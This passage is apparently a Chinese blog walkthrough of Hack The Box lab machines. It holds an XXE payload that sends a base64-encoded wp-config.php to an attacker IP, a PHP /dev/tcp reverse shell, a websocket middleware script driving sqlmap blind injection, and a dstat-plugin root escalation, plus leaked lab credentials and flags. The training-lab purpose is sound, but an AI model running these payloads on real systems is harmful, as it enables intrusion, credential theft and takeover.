man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
得到/etc/passwd内容
WordPress的配置文件为wp-config.php,接下来尝试读取
将dedsec.dtd
更改
┌──(root💀kali)-[~]
└─# cat dedsec.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.8:9999/?p=%file;'>" >
上传payload.waf,回显
[Sat Feb 11 04:31:10 2023] 10.10.11.186:60128 Closing
[Sat Feb 11 04:31:12 2023] 10.10.11.186:53418 Accepted
[Sat Feb 11 04:31:13 2023] 10.10.11.186:53418 [200]: GET /dedsec.dtd
[Sat Feb 11 04:31:13 2023] 10.10.11.186:53418 Closing
[Sat Feb 11 04:31:15 2023] 10.10.11.186:53422 Accepted
[Sat Feb 11 04:31:15 2023] 10.10.11.186:53422 [200]: GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYm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vDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==
[Sat Feb 11 04:31:15 2023] 10.10.11.186:53422 Closing
base64解码
┌──(root💀kali)-[~]
└─# echo "PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9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pzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==" |base64 -d
<?php
?>
上传时,注意,我们只在/tiny/uploads目录下有写入权限
命令执行成功
接下来就可以上传一个反弹shell的文件
┌──(root💀kali)-[~/桌面]
└─# cat n3ym4r.php
<?php
system("bash -c 'exec bash -i &>/dev/tcp/10.10.16.8/6666<&1'")
?>
nc监听
┌──(root💀kali)-[~]
└─# nc -lvvp 6666
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
xzc
ls
Ncat: Connection from 10.10.11.194.
Ncat: Connection from 10.10.11.194:47232.
bash: cannot set terminal process group (1044): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ ls
n3ym4r.php
子域名发现
反弹成功,到处查看文件
www-data@soccer:/etc$ cd ..
cd ..
www-data@soccer:/$ cat /etc/hosts
cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
在/etc/hosts文件发现,还绑定了一个子域名,将他加入本地/etc/hosts,访问
<script>
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
</script>
该代码在 URL “ws://soc-player.soccer.htb:9091” 处建立到服务器的新 WebSocket 连接。加载页面时,它会设置一个事件侦听器,用于当用户在 ID 为“id”的输入元素中按下“Enter”键时。当按下“Enter”键时,调用函数“sendText”。 “sendText”函数用于通过 WebSocket 连接向服务器发送消息。该消息由一个 JSON 对象组成,该对象具有单个属性“id”和一个等于输入元素值的值。该代码还有一个名为“append”的函数,当 WebSocket 连接从服务器接收到消息时调用该函数.该函数将消息作为参数并将“p”元素的文本内容设置为消息。
输入参数可能容易受到 sqli 注入攻击,google一下
websocket sql注入漏洞利用
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
链接内容讲的很清楚,这里不再赘述,将脚本的内容做些必要的更改,将ws_server和data参数进行修改
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
开个终端执行此脚本,另开一终端对托管到8081的的中间服务器执行sqlmap
┌──(root💀kali)-[~]
└─# sqlmap -u "http://localhost:8081/?id=1" -p "id" --dbs
___
__H__
___ ___["]_____ ___ ___ {1.7#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
由于是sql盲注,所以等待时间稍微有点长
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[01:22:45] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'
[*] ending @ 01:22:45 /2023-02-12/
得到player:PlayerOftheMatch2022
ssh连接
┌──(root💀kali)-[~]
└─# ssh player@10.10.11.194
The authenticity of host '10.10.11.194 (10.10.11.194)' can't be established.
ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.194' (ECDSA) to the list of known hosts.
player@10.10.11.194's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Feb 12 06:10:09 UTC 2023
System load: 0.08
Usage of /: 70.6% of 3.84GB
Memory usage: 26%
Swap usage: 0%
Processes: 241
Users logged in: 0
IPv4 address for eth0: 10.10.11.194
IPv6 address for eth0: dead:beef::250:56ff:feb9:2be6
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Feb 11 14:34:29 2023 from 10.10.14.154
player@soccer:~$ ls
linpeas.sh snap user.txt
player@soccer:~$ cat user.txt
8cf79e0f16b3ea6d7a7f433dd606b117
得到user flag
提权
执行sudo -l
player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
没有利用点
尝试suid提权,执行find / -perm -4000 2>/dev/null -ls
player@soccer:~$ find / -perm -4000 2>/dev/null -ls
70968 44 -rwsr-xr-x 1 root root 42224 Nov 17 09:09 /usr/local/bin/doas
18263 140 -rwsr-xr-x 1 root root 142792 Nov 28 04:55 /usr/lib/snapd/snap-confine
7696 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
14300 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
16207 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
7700 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
1753 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
2093 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
1752 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
1647 68 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su
13720 44 -rwsr-xr-x 1 root root 44784 Nov 29 11:53 /usr/bin/newgrp
3023 84 -rwsr-xr-x 1 root root 85064 Nov 29 11:53 /usr/bin/chfn
1724 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
3027 68 -rwsr-xr-x 1 root root 68208 Nov 29 11:53 /usr/bin/passwd
3026 88 -rwsr-xr-x 1 root root 88464 Nov 29 11:53 /usr/bin/gpasswd
3024 52 -rwsr-xr-x 1 root root 53040 Nov 29 11:53 /usr/bin/chsh
2242 56 -rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
135 121 -rwsr-xr-x 1 root root 123560 Nov 25 17:29 /snap/snapd/17883/usr/lib/snapd/snap-confine
814 84 -rwsr-xr-x 1 root root 85064 Mar 14 2022 /snap/core20/1695/usr/bin/chfn
820 52 -rwsr-xr-x 1 root root 53040 Mar 14 2022 /snap/core20/1695/usr/bin/chsh
889 87 -rwsr-xr-x 1 root root 88464 Mar 14 2022 /snap/core20/1695/usr/bin/gpasswd
973 55 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /snap/core20/1695/usr/bin/mount
982 44 -rwsr-xr-x 1 root root 44784 Mar 14 2022 /snap/core20/1695/usr/bin/newgrp
997 67 -rwsr-xr-x 1 root root 68208 Mar 14 2022 /snap/core20/1695/usr/bin/passwd
1107 67 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /snap/core20/1695/usr/bin/su
1108 163 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /snap/core20/1695/usr/bin/sudo
1166 39 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /snap/core20/1695/usr/bin/umount
1255 51 -rwsr-xr-- 1 root systemd-resolve 51344 Oct 25 13:09 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
1627 463 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
具有 suid 权限的不寻常文件是 /usr/local/bin/doas
Google一下doas
简单讲,doas 是一个以另一个用户身份运行命令的程序(类似于 sudo,但更简单),它的默认位置在“/etc/doas.conf”中
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
允许用户“player”使用 root 进行 dstat
查看dstat官方文档
https://github.com/dstat-real/dstat
https://linux.die.net/man/1/dstat
Dstat 允许运行自定义插件,我们可以创建一个插件并使用 dstat 运行它,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
移动到此目录下,创建一个插件,写入代码
import os
os.system("sh")
执行此插件
player@soccer:~$ cd /usr/local/share/dstat/
player@soccer:/usr/local/share/dstat$ vim dstat_ahh.py
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --ahh
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# ls
dstat_ahh.py
# whoami
root
# cat /root/root.txt
fd1854e763db6cbf6e47036de2ad7bbf
#
得到root flag
总结
easy一共是五个靶机,之前已经打过一个了,这里就是剩下四个的全部流程。
总体的大概流程为端口发现—>80端口子域名枚举、目录扫描—>web漏洞利用—>拿到网站管理员权限—>查找各种信息—>拿到主机本地用户权限—>提权到root
中间还会穿插各种漏洞利用,总体思路就是网页权限—>本地权限—>root权限
遇事不决就上Google,通过网页端获得的各种信息,如网站框架版本,服务器版本,google一下就能出来漏洞利用点以及各种exp,拿来就能用
信息泄露方面,各种框架的默认密码、配置文件里的信息。配置文件的地址上官网就能找到
提权方面,这里只用到了sudo滥用
suid
两种Linux下的提权方式,可以上传一些检测脚本,自动收集能利用的提权点
- 本文标题:HTB-easy Machines系列
- 本文作者:n3ym4r
- 创建时间:2023-02-12 15:49:14
- 本文链接:https://n3ym4r.github.io/2023/02/12/HTB-easy Machines系列/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!